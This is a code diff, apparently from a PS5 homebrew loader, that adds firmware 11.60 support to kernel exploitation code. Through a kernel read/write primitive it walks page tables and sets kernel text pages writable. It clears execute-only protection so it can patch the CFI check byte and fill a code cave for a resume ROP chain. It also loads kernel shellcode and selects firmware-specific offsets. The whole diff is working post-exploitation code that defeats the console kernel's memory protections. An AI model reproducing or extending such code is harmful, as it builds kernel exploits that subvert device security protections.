+#include "../shellcode_kernel_1160/shellcode_kernel_args_validate.h"
#include "config.h"
#include "hv_defeat_13xx.h"
#include "iommu.h"
+#include "loader_staging_1160.h"
#include "offsets.h"
#include "shellcode_1360.h"
#include "utils.h"
#include "../shellcode_kernel_13xx/shellcode_kernel_13xx.h"
+#include "../shellcode_kernel_1160/shellcode_kernel_1160.h"
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
@@ -42,6 +45,57 @@ static int apply_1360_dma_e820_map(void *buffer, size_t length) {
return 0;
}
+// Set RW and clear XO on va's page chain, checking every write. 11.60 only.
+static int page_chain_set_rw_checked_1160(uint64_t va) {
+ uint64_t table_phys = cr3;
+
+ for (int level = 0; level < 4; level++) {
+ int shift = 39 - level * 9;
+ uint64_t index = (va >> shift) & 0x1ff;
+ uint64_t entry_va = dmap + PAGE_PA(table_phys) + index * 8;
+ uint64_t entry = 0;
+
+ if (kernel_copyout(entry_va, &entry, sizeof(entry)) != 0 || !PAGE_P(entry))
+ return -1;
+
+ uint64_t updated = entry;
+ PAGE_SET_RW(updated);
+ PAGE_CLEAR_XO(updated);
+ if (updated != entry) {
+ uint64_t observed = 0;
+ if (kernel_copyin(&updated, entry_va, sizeof(updated)) != 0 ||
+ kernel_copyout(entry_va, &observed, sizeof(observed)) != 0 ||
+ observed != updated)
+ return -1;
+ entry = updated;
+ }
+
+ if (((level == 1 || level == 2) && PAGE_PS(entry)) || level == 3)
+ return 0;
+ table_phys = PAGE_PA(entry);
+ }
+ return -1;
+}
+
+/*
+ * 11.60 only opens the places the handoff writes: the CFI byte the wake blob
+ * patches and the code cave the resume ROP fills. Executing XOM text does not
+ * need it readable or writable, so the rest of ktext is left alone.
+ */
+static int remove_xotext_1160(size_t wake_len) {
+ if (env_offset.KERNEL_CFI_CHECK == 0 || env_offset.KERNEL_CODE_CAVE == 0 ||
+ wake_len == 0 || wake_len > 0x5000)
+ return -1;
+
+ if (page_chain_set_rw_checked_1160(ktext + env_offset.KERNEL_CFI_CHECK))
+ return -1;
+ for (size_t offset = 0; offset < wake_len; offset += 0x1000)
+ if (page_chain_set_rw_checked_1160(ktext + env_offset.KERNEL_CODE_CAVE +
+ offset))
+ return -1;
+ return 0;
+}
+
int remove_xotext(void) {
uint64_t start = ktext;
uint64_t end = kdata;
@@ -110,10 +164,15 @@ int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
} else if (fw == 0x1360 && linux_i.kit_type != KIT_RETAIL_PRO) {
shellcode_src = stock_shellcode_kernel_1360;
shellcode_len = stock_shellcode_kernel_1360_len;
+ } else if (fw == 0x1160) {
+ shellcode_src = shellcode_kernel_1160_bin;
+ shellcode_len = shellcode_kernel_1160_bin_len;
}
if ((fw == 0x1300 || fw == 0x1320) && shellcode_len > 0x3910)
return -1;
+ if (fw == 0x1160 && shellcode_len > 0x5000)
+ return -1;
*shellcode_kernel =
mmap(NULL, ALIGN_UP(shellcode_len, PAGE_SIZE),
@@ -139,7 +198,7 @@ int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
vtophys_user((uintptr_t)*shellcode_kernel + i), 0);
}
- if (remove_xotext()) {
+ if (fw == 0x1160 ? remove_xotext_1160(shellcode_len) : remove_xotext()) {
printf("Error: could not remove xo from text\n");
return -1;
}
@@ -206,7 +265,14 @@ uint64_t prepare_sck_args(void) {
args.linux_info_va = linux_i.linux_info;
+ if (fw == 0x1160 && validate_shellcode_kernel_args_1160(&args))
+ return 0;
+
uint64_t args_pa = alloc_page();
+ // Keep the args page off the page under the #SX stack, which the wake stack
+ // reaches past 0x1040 bytes. Pages taken here stay allocated.
+ while (fw == 0x1160 && args_pa && pa_under_sx_stack_1160(args_pa))
+ args_pa = alloc_page();
if (!args_pa)
return 0;
@@ -216,6 +282,8 @@ uint64_t prepare_sck_args(void) {
kernel_copyout((intptr_t)args_cave, &readback, sizeof(readback)) ||
memcmp(&args, &readback, sizeof(args)))
return 0;
+ if (fw == 0x1160 && validate_shellcode_kernel_args_1160(&readback))
+ return 0;
return args_cave;
}
diff --git a/source/utils.c b/source/utils.c
index d8ba258..3c99f22 100644
--- a/source/utils.c
+++ b/source/utils.c
@@ -97,6 +97,18 @@ int set_offsets(void) {
case 0x0761:
env_offset = off_0761;
break;
+ case 0x1160:
+ // Only the retail 11.60 build on a regular PS5 has been tested.
+ if (kernel_get_fw_version() != 0x11600005U) {
+ notify("Only the retail 11.60 build (0x11600005) is supported\n");
+ return -1;
+ }
+ if (sceKernelGetMainSocId() == 0x840fd0) {
+ notify("11.60 is supported on the regular PS5 only\n");
+ return -1;
+ }
+ env_offset = off_1160;
+ break;
case 0x1300:
env_offset = off_1300;
break;